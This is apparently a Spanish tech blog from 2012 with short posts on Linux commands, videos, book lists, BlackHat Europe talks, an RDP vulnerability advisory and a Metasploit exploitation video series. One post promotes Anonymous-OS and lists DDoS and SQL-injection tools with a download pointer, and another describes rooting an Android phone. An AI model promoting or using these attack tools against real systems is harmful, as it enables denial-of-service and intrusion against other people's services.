apt-get install deja-dup

Web oficial (y de descarga)

Microhistorias: ¿Por qué se utilizó "\" para …

Foto (C) FOX

Bueno no solo en DOS, también hoy en todos los sistemas Windows, cuando abres una línea de comandos, este es el caracter "\" (barra invertida) usado para delimitar la ruta hacia un archivo o carpeta del sistema.

Pues todo empieza con la relación tan íntima que tuvieron al principio Microsoft e IBM. Muchas de las utilidades DOS fueron escritas por IBM y ellos usaban el caracter "/" como delimitador (switch) para introducir los parámetros de dichos comandos. En *NIX dicho caracter es el guión "-" pero en los sistemas DEC (incluyendo VMS, DECSystem-20 y DECSystem10), se usaba "/".

11 comandos de la consola Linux para trabajar con …

Ya sea para descargar un fichero, reparar problemas de la red, ver datos de las tarjetas, etc, siempre hay un comando bajo la terminal de Linux que servirá para realizar alguna de estas acciones y alguna más.

Vamos a repasarlos de la mano de este genial artículo de HowToGeek que vamos a resumir y traducir:

curl & get: Estos dos comandos te permiten descargar un fichero sin abandonar el terminal:

Introducción a la manipulación de texto en …

Todos sabemos la potencia de Linux/UNIX para procesar ficheros de texto. En este documento de IBM nos ofrecen un estupendo documento de introducción a los comandos que podemos encontrar en sistemas operativos basados en UNIX destinados a la manipulación de textos (nos advierten que algunas flags, comportamiento, etc de los comandos pueden variar en función de la distrubución de Linux)

Un documento que no viene mal tenerlo a mano.

El espectacular nuevo trailer de "Prometheus"

Este sí, después de ver varios trailers, este es el definitivo. Parece que la película transcurre en el interior de la nave espacial del Space Jockey.

La película está expresamente realizada para verla en cines IMAX y se estrena el 10 de Agosto en cines.

Domingo por la mañana, Maybeshewill "He Films the …

Maybeshewill

Atentos a partir del minuto 3:15, espectacular …

Varias pantallas bajo el microscopio (incluido el …

En la web de IgnoreTheCode se han entretenido colocando bajo el microscopio varias pantallas de diferentes dispositivos, incluida la del nuevo iPad3 (me niego a llamarlo “The New iPad”, tonterías las justas).

Bastante curioso, destacar que cada vez hay menos espacio entre los pixeles.

Material oficial de la Blackhat Europe 2012 …

Ya está disponible el material de la recién acabada BlackHat 2012 Europa. Parece que faltan algunas charlas. Si las ponen actualizaremos esta entrada.

• Axelle Apvrille - Guillaume LovetAn Attacker's Day into Virology: Human vs Computer
• White Paper
• Slides
• Antonios Atlasis - Attacking IPv6 Implementation Using Fragmentation
• White Paper
• Slides
• Archivo
• Michael BakerFinding Needles in Haystacks (The Size of Countries)
• White Paper
• Slides
• Andrey Belenko - Dmitry Sklyarov"Secure Password Managers" and "Military-Grade Encryption" on Smartphones: Oh Really?
• White Paper
• Slides
• Andy DavisHDMI - Hacking Displays Made Interesting
• White Paper
• Slides
• Stephen de Vries - Beyond Scanning: Automating Web Application Security Tests
• White Paper
• Slides
• Archivo
• Tyrone Erasmus - The Heavy Metal That Poisoned the Droid
• White Paper
• Slides
• Takahiro Haruyama - Hiroshi SuzukiOne-byte Modification for Breaking Memory Forensic Analysis
• Slides
• Marcia Hofmann - Seth SchoenDefending Privacy at the U.S. Border: A Guide for Travelers Carrying Digital Devices
• White Paper
• Slides
• Jeff Jarmoc - SSL/TLS Interception Proxies and Transitive Trust
• White Paper
• Slides
• Ling Chuan Lee - Chan Lee YeeGDI Font Fuzzing in Windows Kernel For Fun
• White Paper
• Slides
• Archivo
• Steve Lord - Drop It Like It's Hotspot: Hacking Mifi Routers For Nefarious Purposes
• Slides
• Rafal Los - Shane MacDougallOffensive Threat Modeling for Attackers: Turning Threat Modeling on its Head
• White Paper
• Slides
• Matias Madou - Secure in 2010? Broken in 2011!
• White Paper
• Slides
• Mariano Nunez Di Croce - Cyber-Attacks & SAP systems: Is Our Business-Critical Infrastructure Exposed?
• White Paper
• Slides
• Phil Polstra - Preventing "Oh Shit!" Moments for 20 Euros or Less
• White Paper
• Slides
• Jerome Radcliffe - Issues with Embedded Device Disclosures: Helping the Vendors and Recognizing the End-Users
• White Paper
• Slides
• Enno Rey - Daniel MendeAll Your Calls Are Still Belong to Us: How We Compromised the Cisco VoIP Crypto Ecosystem
• White Paper
• Slides
• Simon Roses Femerling - Smartphone's Apps Are Not That Smart: Insecure Development Practices
• White Paper
• Slides
• Paul Royal - Entrapment: Tricking Malware with Transparent, Scalable Malware Analysis
• White Paper
• Slides
• Archivo
• Rahul Sasi - IVR Security- Internal Network Attack via Phone Lines
• Slides
• Archivo
• Justin Searle - Dissecting Smart Meters
• White Paper
• Slides
• Shreeraj Shah - HTML5 Top 10 Threats: Stealth Attacks and Silent Exploits
• White Paper
• Slides
• Sumit Siddharth - Tom ForbesHacking XPATH 2.0
• White Paper
• Slides
• Alexey Sintsov - Lotus Domino: Penetration Through the Controller
• White Paper
• Slides
• Didier Stevens - Malicious PDF Analysis
• White Paper
• Slides
• Ben Williams - They Ought to Know Better: Exploiting Security Gateways via Their Web Interfaces
• White Paper
• Slides
• Chris Wysopal - Data Mining a Mountain of Zero Day Vulnerabilities
• White Paper
• Slides
• Justin Searle - Workshop: SamuraiWTF
• Archivo

Fuente

Er docu der finde: La biblioteca de Alejandría

Afina tus habilidades de penetración web con …

Multillidae es otro de los proyectos con los que podemos jugar y afinar nuestras técnicas de penetración web. Es un proyecto multiplataforma escrito en PHP y que se puede instalar usando XAMPP. También está disponible en la distribución Samurai WTF

Este proyecto cubre todas las vulnerabilidades recogidas en el OWASP Top 10.

Puedes descargar el proyecto desde aquí.

Como extra, en youtube puedes encontrar un canal (@webpwnized) (desarrollador actual del proyecto) con gran cantidad de vídeo tutoriales sobre esta plataforma. También puedes acceder a dichos vídeos desde la web de irongeek (creador inicial de Mutillidae).

Anonymous-OS

Pues como lo oyes lees, Anonymous ha sacado, Anonymous-OS, su propio sistema operativo basado en Ubuntu 11.10 y usa Mate como escritorio.

Estas son algunas de las herramientas de las que disponemos:

• ParolaPass Password Generator
• Find Host IP
• Anonymous HOIC
• Ddosim
• Pyloris
• Slowloris
• TorsHammer
• Sqlmap
• Havij
• Sql Poison
• Admin Finder
• John the Ripper
• Hash Identifier
• Tor
• XChat IRC
• Pidgin
• Vidalia
• Polipo
• JonDo
• i2p
• Wireshark
• Zenmap
• …and more
• Incluye el driver inalámbrico para Broadcom BCM43xx.

Lo puedes descargar desde aquí.

Fuente

International Space Apps Challenge

Si tienes sed de reto y tiempo y además quieres ayudar la NASA entre otros, en esta página tienes varios retos en los que puedes colaborar.

La idea es genial, son retos totalmente al alcance de cualquiera con un poco de motivación y tiempo. El objetivo de dichos retos es el acercar y motivar a la gente interesada en la exploración del espacio.

Estos son los retos disponibles en estos momentos:

ClubHack Magazine número 26

Ya hay disponible una nueva edición de ClubHack Magazine correspondiente a este mes de marzo de 2012. El índice es el siguiente:

• 0x00 Tech Gyan - Network Security
• 0x01 Tool Gyan - Who wants to be a Millionaire
• 0x02 Mom's Guide - Protect your privacy online with ’TOR’
• 0x03 Legal Gyan - Section 66A - Sending offensive or false messages
• 0x04 Matriux Vibhag - EtherApe – Graphical Network Monitoring
• 0x05 Poster

La puedes descargar desade aquí (PDF)

Carta abierta por la ciencia

En un acto de “heroísmo” se han puesto de acuerdo varias asociaciones que agrupan a investigadores ya talluditos y a aquellos en formación con la intención de hacer llegar al Gobierno y a otras instituciones una carta en la que se pide al actual ejecutivo que cese el sangrado económico y social que se viene produciendo desde el año 2009 en un sector, el de la investigación, que históricamente en España ha sido menospreciado y ninguneado.

Zero day: exploit crítico que afecta al RDP de …

Antes de nada, si administras (o utilizas) equipos con Windows (cualquier versión), bájate esta actualización de Microsoft MS12-020.

Avisan de una vulnerabilidad de ejecución de código en el protocolo RDP. 

Este es parte del texto del boletín:

"Una vulnerabilidad de ejecución de código existe en la manera en la que RDP accede a un objeto en memoria que ha sido inicializado de forma impropia o eliminado. Un atacante el cual pudiera explotar esta vulnerabilidad  podría ejecutar código en el equipo atacado. Podría entonces instalar programas, ver, cambiar o borrar datos, crear nuevas cuentas, etc."

Angry Birds Space, el primer juego anunciado desde …

Increíble, es el primer juego en la historia que se anuncia desde el Espacio (en concreto desde la ISS), desde luego es todo un honor.

A partir del minuto 3 del vídeo podréis ver imágenes del juego.

Disponible el 22 de Marzo.

Vamos, un sacacorchos de bolsillo...

Para cuando vaya a servir el vino está aireado y todo… de todas formas la maquinaria es preciosa.

Superman vs Hulk

Parte 1

 

Parte 2

Épico, visto en HTCARU y creado por mhabjan.

Pauldotcom episodios 10 y 11

Ya están disponibles los episodios 10 y 11 de Pauldotcom en español.

En el episodio 10 Carlos Pérez entrevista a Ed Rojas fundador de la conferencia de seguridad SecZone y en el episodio 11 la entrevista se le hace a Daniel Martín creador de Dradis.

Episodio 10 (mp3)

Episodio 11 (mp3)

Beirut "Santa Fe", para este domingo por la mañana

No tengo palabras para definir este grupo, Beirut uno de mis grupos favoritos.

Espectaculares, como siempre.

PyCon US 2012 - Vídeos

Ya están disponibles los vídeos de la PyCon US 2012:

• Graph Processing in Python
• How to make your websites more accessible
• Introduction and Welcome
• DevOps for Python: Doing More With Less
• Documenting Your Project With Sphinx
• High Performance Python I
• High Performance Python II
• Introduction to Game Development
• Introduction to Interactive Predictive Analytics in Python with scikit-learn
• Optimize Performance and Scalability with Parallelism and Concurrency
• Plotting with matplotlib
• Python Epiphanies
• Social Network Analysis with Python
• Bayesian statistics made (as) simple (as possible)
• Data analysis in Python with pandas 
• Django in Depth
• Faster Python Programs through Optimization
• How to get the most out of your PyPy
• Introduction to Django
• IPython in-depth: high-productivity interactive and parallel python
• Web scraping: Reliably and efficiently pull data from pages that don't expect it
• Writing a Pyramid application

404: Not found... actualizando CentOS

Actualizando (yum update) uno de mis sistemas CentOS, concretamente la version 2.8 final, me encontré con la siguiente sorpresa: … … [Errno 14] HTTP Error 404: Not Found Trying other mirror. http://mirrors.servercentral.net/fedora/epel/5/x86_64/repodata/19ea432764ca3358a389a5fc5216f47b7b4f6c29-filelists.sqlite.bz2 : [Errno 14] HTTP Error 404: Not Found Trying other mirror. http://mirror.us.leaseweb.net/epel/5/x86_64/repodata/19ea432764ca3358a389a5fc5216f47b7b4f6c29-filelists.sqlite.bz2 : [Errno 14] HTTP Error 404: Not Found Trying other mirror. … …

La solución pasó por limpiar la información que yum guarda sobre los paquetes y su destino remote, básciamente la cache de yum. El comando en concreto:

Kara (corto realizado en tiempo real con una PS3)

Impresionante, a mi me ha puesto los pelos de punta. Pero aparte de la tremenda carga sentimental que tiene, a nivel técnico está realizado íntegramente en tiempo real (no está pre-renderizado) con una PS3 y lo han hecho los mismos que crearon el juego HeavyRain (QuanticDream).

Er docu der finde: Los genios de la ciencia …

Parte 1/5

Parte 2/5

Parte 3/5

Parte 4/5

Parte 5/5

 

Colección de revistas antiguas

Aquellos que conzcáis www.archive.org sabréis que es una mina de oro. De hecho he encontrado esta joya. Una colección de revistas antiguas de informática. De los tiempos en que, quitando a los privilegiados con acceso a BBSs, las revistas eran casi el único medio de divulgación técnico y normalmente su contenido era de gran calidad.

Las hay de todos los gustos: microprocesadores, Atari, Amstrad, Commodore, MSX, Juegos, Spectrum, etc.

Un día en internet (Infografía)

Created by: MBA Online

Fuente

 

Guía de supervivencia para la línea de comandos en …

Linux

¿Eres capaz de estar un día usando sólo la línea de comandos? (sin salir del terminal, como en los buenos tiempos). En esta web nos desafían justamente a eso. Por ejemplo según el tiempo que seas capaz de aguantar tienes estas valoraciones:

• Fácil: 1 día.
• Medio: 1 semana.
• Campeón (Duro): 1 mes.
• Ultimate Geek (o también Ultimate Machote): 6 meses.

Más allá del desafío, este artículo es interesante para recordarnos que hay vida debajo de la capa gráfica de Linux.

Intro de los Simpsons parodiando a Juego de Tronos

Visto en ChewieJr.

Aplicación móvil de Hacker News - The making of

Con este título de película os traemos una entrada muy interesante, al menos para aquellos que desarrollen aplicaciones para dispositivos móviles o tengan la intención de hacerlo.

Es una aplicación creada para iPhone/iPad (Safari Móvil) para leer las noticias del famoso portal Hacker News. Hasta aquí nada del otro mundo. El reto real de dicho proyecto era el crear una aplicación web, no nativa, pero que cuyo parecido y comportamiento (look and feel) fuera el nativo. El artículo nos explica con todo detalle la generación de los gráficos/iconos y el CSS (hoja de estilos) para conseguir dicho parecido.

10 comandos útiles para manejar los procesos desde …

(Comando htop, imagen de HowToGeek)

Artículo de HTG donde nos muestran algunos de los comandos (seguro que los conocéis casi todos pero nunca viene mal recordarlos) para manejar los procesos desde la consola Linux. Desde "matarlos", mostrarlos en pantalla o cambiar su nivel de prioridad son sólo algunas de las operaciones que puedes realizar con estos comandos.

Voy a intentar  resumir y traducir el artículo:

En memoria de Ralph McQuarrie, el artista que …

Ralph McQuarrie falleció la semana pasada (3 de Marzo) a la edad de 84 años. Quizás el nombre no te resulte muy familiar, pero este artista diseñó posiblemente los mayores iconos de la Ciencia Ficción de nuestra era. Pero no sólo de La Guerra de las Galaxias, como ahora veremos, sino también es el creador de la nave de Encuentros en la Tercera Fase y la espectacular nave de BattleStar Galactica (de la serie original de TV 1978).

Analizando las técnicas SEO a nivel de programador

Este buen artículo llamado "What every Programmer Should Know About SEO" no debes perdértelo si quieres profundizar en el funcionamiento de las técnicas SEO pero explicado para programadores y así comprender mejor y poder optimizar dichas técnicas en nuestro sitio web (mejorar su posicionamiento para los buscadores).

Explica el funcionamiento básico de los motores de búsqueda para luego dar algunos consejos, como por ejemplo estar seguro que tu sitio es "crawable" (que un robot pueda perfectamente analizar la página web), usar las palabras correctas en los lugares correctos del código, evitar contenido duplicado, usar descripciones "meta" de forma inteligente, etc.

El mejor trailer de la segunda temporada de Juego …

Espectacular, tanto las imágenes como la música.

En Abril, de nuevo, llega el invierno.

Soporte de IKEA para tu Macbook Air (o cualquier …

Si tienes un Macbook Air  (o un ordenador ligero como mi Toshiba Portege R700) y necesitas un soporte de diseño (por ejemplo, para cuando lo conectes a un monitor y teclado externo), pásate por IKEA y píllate este soporte para servilletas que cuesta 1,99€ . Luego le pegas la pegatina de Apple que te dan con tu ordenador y ya tienes tu espectacular soporte para el Macbook Air. Si puedes pegarle algún tipo de gomaespuma o algo similar para que no raye tu flamante ordenador, mejor (es la única diferencia que he visto entre el modelo que se vende en EEUU y el que se vende aquí, que lleva dos pequeñas gomas azules).

And so I watch you from Afar "The Voiceless", para …

httpv://youtu.be/LJZvaE9Ipxc

Dos canciones geniales en una, post-rock en estado puro que recordará a los geniales "Explosions in the Sky", pura música clásica. La primera partes espectacular, pero atentos al minuto 3:24, esas guitarras y esa batería, a mi me ponen los pelos de punta ...

Necesitaba oír algo así esta mañana ... esta canción va dedicada a la persona que más quiero en este mundo, ella sabe quién es :)

20 casos resueltos usando Facebook (Infografía)

Fuente

 

Más lectura técnica

Pues nada cómo ya te habrás leido todos los libros que hemos dejado por el blog, aquí os dejamos varios más:

• The Linux Command Line
• Self-Service Linux (PDF)
• Java™ Application Development on Linux (PDF)
• GTK+ / Gnome Application Development (PDF)
• GNU Emacs manual
• Advanced Linux Programming
• Masonic Cipher book (PDF)
• BIOS Disassembly Ninjutsu Uncovered (1st Edition)
• Java Native Interface: Programmer's Guide and Specification

 

Er docu der finde: Historias de Pi

 

Escribiendo un clon de Twitter en Python

La forma más fácil y divertida de aprender a programar es empezar un proyecto desde cero y crearte todas las partes del mismo.

Si eres un entusiasta de Python este tutorial te gustará. Se llama Flipper y es un proyecto escrito en Python para crear un clon o copia del archiconocido Twitter. Al final del mismo no sólo te habrás creado el proyecto en sí, sino también todas las partes del mismo. Ideal para saber que se ocultan detrás de esas librerías web (frameworks) que todos usamos en algún momento.

Cómo sacar mejor provecho a Google (Infografía)

Fuente

 

Máquinas Virtuales VirtualBox para desarrolladores

Ya hemos hablado en otras ocasiones de sitios que compilan máquinas virtuales creadas (link, link) y listas para ser usadas con distintos sistemas operativos.

Hoy os traemos otro magnífico repositorio de este tipo, pero esta vez las máquinas virtuales están pensadas para ser usadas como plataforma para el desarrollo de software y no sólo eso, sino que además son creadas por la propia Oracle.

En estos momentos diponemos de nueve sistemas:

Congelar una aplicación en Android

¿Qué significa eso de congelar (freeze) una aplicación? La idea es muy sencilla y se trata de deshabilitar una apliación en el sistema. Es una especie de desinstalación de la misma sin borrarla del sistema. Es decir, la aplicación todavía se encuentra en nuestro sistema ocupando espacio de almacenamiento, pero el sistema ignora dicha aplicación, por lo tanto lo que si ganamos es memoria RAM.

¿Por qué quiere uno congelar una aplicación en vez de desinstalarla o borrarla? Como decía antes una de las mayores ventajas de congelar una aplicación es ahorrar memoria y por lo tanto hacer que nuestro sistema vaya más rápido. No sólo eso, si no que las aplicaciones que congelemos tampoco apareceran en nuestro terminal, o sea como si no estuvieran. La razón principal de congelar y no desisintalar o borrar las aplicaciones es la de poder “restaurar” nuestro sistema a como vino de fábrica. De hecho, por experiencia propia, cuando borras o desinstalas ciertas aplicaciones el sistema se vuelve inestable. Incluso si lo que desinstalas no es un componente del sistema, que como veremos más adelante también puedes congelar.

Récord del mundo en resolver el cubo de Rubik con …

Increíble, sólo unos segundos para memorizar la posición de los colores y luego a resolverlo sin mirar.

Ojo a la reacción del chico que está detrás …

Visto en CNET.

Tabla de referencia comparando con todo detalle …

(click para ampliar)

Casi podrías aprender a programar en estos cuatro lenguajes de programación simplemente mirando esta hoja de referencia (formato tabla) donde nos muestran con todo nivel de detalle desde los operadores, separadores, matrices, declaración de variables,  debuggin, funciones, operadores lógicos, etc, de PHP, Perl, Python y Ruby.

Puedes consultarla al completo aquí.

Una genial hoja de referencia (Cheat Sheet) muy útil.

Visto en HackerNews.

Portal Tetris, a ver si eres capaz de hacer una …

[swf]http://www.jeuxclic.com/jeux/4e385c6432e30.swf,480,390[/swf]

Buenísimo, perdón por el troleo ;)

Visto en ZonaFandom, no os perdáis un video de Mario armado con una pistola de Portal :)

¿Están los dispositivos móviles destruyendo tu …

Fuente

 

Algodón dulce

Cotton candy o Algodón dulce es el nombre de este dispositivo del tamaño de un lápiz usb. Las características del mismo son impresionantes:

• Procesador: ARM Cortex [email protected] Quad Core ARM Mali-400MP Graphics Processing Unit
• Memoria: 1GB DRAM, Up to 64GB almacenamiento (microSD)
• Puertos: USB 2.0 (corriente y también lo puedes usar como lápiz usb)
• Video: HDMI 1.3 Connector con audio
• Conectividad: Wifi 802.11b/g/n, Bluetooth 2.1 + EDR

Puedes instalarle Android 4.0 Ice Cream o Ubuntu (ARM). Por supuesto ya le instalará alguién Windows, iOS, etc.

Este dispositivo funciona de forma totalmente autónoma y le puedes o no enchufar un monitor externo, pero además puedes conectárselo a un ordenador que sea capaz de arrancar desde el puerto USB y arrancar el sistema instalado en dicho dispositivo. Muy versátil sin ninguna duda.

Aprendiendo Windows 95 con dos de los actores de …

Pues sí, no sabía que existía este vídeo de mediados de los 90 donde a dos de los actores más conocidos de la serie Friends (Jennifer Aniston y Matthew Perry) les enseñan como abrir y cerrar ventanas (qué buenos tiempos) en Windows 95.

Está en inglés pero puedes intentar verlo activando los subtítulos de YouTube.

¿Cuánto mide un nanosegundo?

En el siguiente vídeo que os dejo a continuación podemos ver una gran introducción de dicho concepto. La calidad del vídeo no es muy buena, pero básicamente lo que Grace Hopper muestra en su mano es un trozo de cable que mide la longitud máxima a la que la electricidad puede recorrer en un nanosegundo, 11,8 pulgadas o 299,72 milímetros.

Si no conoces la historia de Grace Hoper, no dejes de leer por lo menos su página en la wikipedia.

Microhistorias: Quizás el ordenador más antiguo …

El ingeniero Duwayne Leafley junto al IBM 402 (Foto PCWorld)

La empresa Sparkler Filters of Conroe, en Texas (EE.UU) se autoproclaman los mejores del mundo en procesos de filtración química. Si les pides algún trabajo y facturas con ellos, toda tu información será procesada por un ordenador de 1948.

Dicho computador es un IBM 402 que se programa aún con cables y utiliza tarjetas perforadas de 80 columnas con los datos a procesar (nada de pantallas). La empresa lo usa para contabilidad (ventas, pagos e inventario) por supuesto, antes de introducir los datos tienen que "agujerear" las tarjetas en un viejo IBM 029 (parecido a una monstruosa máquina de escribir) y luego amontonarlas en el orden correcto.

Seguridad Móvil: pasado, presente y futuro …

Fuente

Vídeotutoriales sobre Vim

En el blog de Derek Wyatt podemos encontrar una serie de vídeo tutoriales sobre Vim creados por el autor de dicho blog. Están divididos en cuatro categorías: principiante, medio y avanzado. También tiene otra serie en la que nos muestra el uso de algunos plugins.

• Vim Novice Video Tutorials
• Welcome to Vim
• Basic Movement (Screencast 1)
• Basic Movement (Screencast 2)
• Basic Movement (Screencast 3)
• Basic Editing (Screencast 1)
• Basic Editing (Screencast 2)
• Working with Many Files (Screencast 1)
• Working with Many Files (Screencast 2)
• Working with Many Files (Screencast 3)
• How to use the Help System
• Vim Intermediate Video Tutorials
• The vimrc File and Vim Runtime Directories
• Vim Modes Introduction
• Insert Mode
• One Vim… Just One
• Destruction is Good
• Using a Vim Macro to Edit Many Files
• Vim Macros and Global Commands (one)
• Vim Advanced Video Tutorials
• The Vim Expression Register
• Vim Autocommands
• Find Command and the Path
• Globals, Commands and Functions
• Vim Plugin Showcase
• Demo of ProtoDef Vim Plugin
• Vim XP Template plugin demo
• Using the Vim VisIncr Plugin
• Surround Plugin

Fuente

¿Cuánto sabes de programar en C?, unas cuantas …

Aquí tienes 16 preguntas nada fáciles de contestar para probar el nivel que tienes en programación C. Estas preguntas aparecieron originalmente en un artículo en ProgrammersHeaven escrito por Ashok K. Pathak. Prueban el nivel de conocimiento de C a nivel general (punteros, recursividad, etc) pero incluye también otras características un poco raras para probarte (además de algunas trampas en el código para hacerlo menos legible).

¿Cuántas has respondido correctamente?

Todo el test (con preguntas y respuestas) aquí.

Radio War, de Tarwater para este domingo de resaca

Tarwater es grupazo alemán de música electrónica post-rock.

De regalo, “Tesla”:

INSTALL_FAILED_UPDATE_INCOMPATIBLE instalando …

“rooteando” por enésima vez mi Droid X, me encontré con un problema. Quería actualizar me Superuser.apk. Para ello tenemos 2 opciones básicamente:

adb install -r Superuser.apk
adb uninstall Superuser.apk (también probé con -k)

Ninguna de las 2 opciones me funcionaron. Así que procedí a lo bruto. Como ya tenía root en el sistema (aunque no permanente en ese momento) me fui al directorio /system/app y la borre (rm) como un hombre :)

Cómo la NSA espía a los estadounidenses …

Fuente

Er docu der finde: Hiperespacio

Parte 1/5

Parte 2/5

Parte 3/5

Parte 4/5

Parte 5/5

Bill Gates es mejor que Batman (Infografía)

Source: frugaldad.com

Unos libritos técnicos para este finde

Ahora que se acerca el fin de semana y después de que veáis Er docu der finde el viernes, aquí tenéis algunos libros que os puede interesar:

• An Absolute Beginner’s Guide (Ubuntu)
• Open Advice
• Secure Programming for Linux and Unix HOWTO
• Ruby on Rails Tutorial
• Guía del Administrador de Red Hat Linux - Libro Gratuito
• Exploring Lift
• Java SE (Lenguaje y VM)
• Essential JavaScript Design Patterns For Beginners
• Introduction to Computing - Explorations in Language, Logic, and Machines
• The Open Data Handbook

Chuck Norris vs Angry Birds

Vídeo de Microsoft mofándose de Google …

Básicamente critica las aplicaciones en la nube de Google y su Google Apps. Y lo curioso es que hospeda el vídeo en ¡Youtube! ¡Bill Gates, Microsoft te necesita más que nunca!

Fuente

Desde la inyección de basura a la toma de control …

En los siguientes tres vídeos podemos ver un ejemplo del proceso que conlleva el tomar control sobre una máquina vulnerable. Desde el fuzzing o como puse en el título, inyección de basura, hasta la explotación a través de Metasploit, pasando por la creación del propio exploit y portando el mismo como un módulo de Metasploit. Los vídeos son muy cortos, pero muy instructivos:

Parte 1/3

Parte 2/3

52 cosas que deberías saber si quieres dedicarte a …

Según la Universidad de Bristol, la critografía abarca matemáticas pura, ciencias de la computación e ingeniería electrónica. Por ello y según su criterio, todo estudiante del doctorado en el campo de la criptografía (en dicha universidad) al final del primer año, debería ser capaz de responder al 90% de las siguientes preguntas:

Computer Engineering ([E])

1. What is the difference between the following?
   • A general-purpose processor.
   • A general-purpose processor with instruction-set extensions.
   • A special-purpose processor (or co-processor).
   • An FPGA.
2. What is the difference between a multi-core processor and a vector processor?
3. Estimate the relative computational and storage capabilities of
   • a smart-card
   • a micro-controller (i.e. a sensor node)
   • an embedded or mobile computer (e.g., a mobile phone or PDA)
   • a laptop- or desktop-class computer.

   Theoretical Computer Science ([F])

4. What is meant by the complexity class P?
5. What is meant by the complexity class NP?
6. How can we interpret NP as the set of theorems whose proofs can be checked in polynomial time?
7. How does randomness help in computation, and what is the class BPP?
8. How does interaction help in computation, and what is the class IP?
9. What are Shannon's definitions of entropy and information?

   Mathematical Background ([A,B])

10. What is the difference between the RSA and the Strong-RSA problem?
11. What are the DLP, CDH and DDH problems?
12. What is the elliptic curve group law?
13. Outline the use and advantages of projective point representation.
14. What is a cryptographic pairing?

    Basic (Practical or Deployed) Cryptographic Schemes and Protocols ([A])

15. Describe the key generation, encryption and decryption algorithms for RSA-OAEP and ECIES.
16. Describe the key generation, signature and verification algorithms for DSA, Schnorr and RSA-FDH.
17. Describe and compare the round structure of DES and AES.
18. Draw a diagram (or describe) the ECB, CBC and CTR modes of operation.
19. Describe the Shamir secret sharing scheme.
20. How are Merkle-Damgaard style hash functions constructed?

    Cryptographic Implementation Details ([A])

21. How does the CRT method improve performance of RSA?
22. How do you represent a number and multiply numbers in Montgomery arithmetic?
23. Write a C program to implement Montgomery arithmetic.
24. Describe the binary, m-ary and sliding window exponentiation algorithms.
25. Describe methods for modular reduction using "special" primes that define GF(p) and GF(2^n).
26. Describe the NAF scalar multiplication algorithm.

    Security Definitions and Proofs ([A,B,C])

27. What is the IND-CCA security definition for symmetric key encryption?
28. What is the IND-CCA security definition for public key encryption?
29. What is the UF-CMA security definition for digital signatures?
30. Roughly outline the BR security definition for key agreement?
31. Give one proof of something which involves game hopping
32. Outline the difference between a game based and a simulation based security definition.

    Mathematical Attacks ([A,B])

33. How does the Bellcore attack work against RSA with CRT?
34. Describe the Baby-Step/Giant-Step method for breaking DLPs
35. Give the rough idea of Pollard rho, Pollard "kangaroo" and parallel Pollard rho attacks on ECDLP.
36. What is meant by index calculus algorithms?
37. Roughly outline (in two paragraphs only) how the NFS works.

    Practical Attacks ([D])

38. What is the difference between a covert channel and a side-channel?
39. What is the difference between a side-channel attack and a fault attack?
40. What is usually considered the difference between DPA and SPA?
41. Are all side channels related to power analysis?
42. Look at your C code for Montgomery multiplication above; can you determine where it could leak side channel information?
43. Describe some basic (maybe ineffective) defences against side channel attacks proposed in the literature for AES.
44. Describe some basic (maybe ineffective) defences against side channel attacks proposed in the literature for ECC.
45. Describe some basic (maybe ineffective) defences against side channel attacks proposed in the literature for RSA.

    Advanced Protocols and Constructions ([A,B])

46. What is the Fiat-Shamir transform?
47. What does correctness, soundness and zero-knowledge mean in the context of a Sigma protocol?
48. What is the purpose and use of a TPM?
49. Describe the basic ideas behind IPSec and TLS.
50. What is the BLS pairing based signature scheme?
51. What is the security model for ID-based encryption, and describe one IBE scheme.
52. Pick an advanced application concept such as e-Voting, Auctions or Multi-Party Computation. What are the rough security requirements of such a system?

Vamos, que yo no paso ni de la primera hora del primer día de clase :(

Fuente

Realm of the Mad God: juego de fantasía online …

Realm Of The Mad God, es un juego al más estilo retro de los 80 multiplayer MUD. Con sólo jugar un rato podrás comprobar lo adictivo que llega a ser. No es complicado, pasearte por escenarios, matar todo tipo de criaturas, recolectar oro e incluso visitar mazmorras. Tiene un tutorial al comienzo y es gratuito, con opción de pago para por ejemplo, tener dos personajes.

Es como sería un juego online en los 80, si hubiera existido Internet ;)

5 trucos para sacar más partido a WireShark

Antes de seguir, si no conoces WireShark aquí tienes un tutorial donde explica como empezar a utilizarlo. Una vez ya sabemos algo de este fantástico programa, en HowToGeek nos muestran 5 trucos para optimizar nuestro uso de la herramienta de captura de paquetes por excelencia. Voy a resumirlos para que veas el artículo completo por si te interesa:

1. Activar la resolución de nombres de red, en vez IP veremos los nombres de dominio.
2. Comenzar la captura automáticamente, creando un acceso directo que lanza el programa desde la línea de comandos para empezar a capturar sin ningún tipo de retardo.
3. Capturar tráfico de ordenadores (o dispositivos de red) remotos, si tienes Windows y tienes instalado WinPcap, puedes capturar tráfico de red no sólo desde tu tarjeta de red local, sino desde un router, un servidor o cualquier ordenador situado en otra localización de la red.
4. Usar WireShark en la línea de comandos, perfecto si queremos instalarlo en Linux o Windows (Server) sin interface gráfico.
5. Crear reglas ACL para un firewall, si quieres crear reglas en función del tráfico que detectas con WireShark , esta opción te genera los comandos que necesitas para poder hacerlo.

Si usas WireShark, no puedes perderte el artículo.

Foto de un Boeing 747 transportando a un …

Increible majestuosidad y belleza.

Visto aquí.

Tutor online de Python

Este tutor online de Python (del MIT) te permite escribir el código directamente en la web para luego analizar su ejecución al detalle. Esto es genial para analizar como se comporta paso a paso el programa que has creado en Python, visualizando variables y su contenido, la memoria, saltos, etc.

Viene con varios ejemplos ya creados como las famosas Torres de Hanoi.

Soporta Python 2.5 (de momento, anuncian que en breve soportará Python 3).

Nintendo NES pendrive (humor)

Visto en Instructables.

Microsoft recrea una "Mini Internet" para probar y …

Por lo visto, los chicos de Redmond se han montado un buen laboratorio para probar su Internet Explorer 9 y asegurarse que es competitivo (viendo la gran competencia que el está haciendo sobre todo Google Chrome), pero realmente se ha creado para probar el nuevo Internet Explorer 10 para convertirlo en el navegador más rápido.

140 ordenadores y 20.000 pruebas diarias que miden el funcionamiento del navegador hasta 200 veces por día (se analiza cada 100ns), recopilando más de 5,7 millones de registros como bytes TCP recibidos, uso de la GPU, tiempo invertido de la CPU en renderizar, etc. Para obtener esta información se utilizan 11 servidores (16 cores con 16GB de RAM), y la información se almacena en un gran servidor SQL (24 cores lógicos y 64GB de RAM).

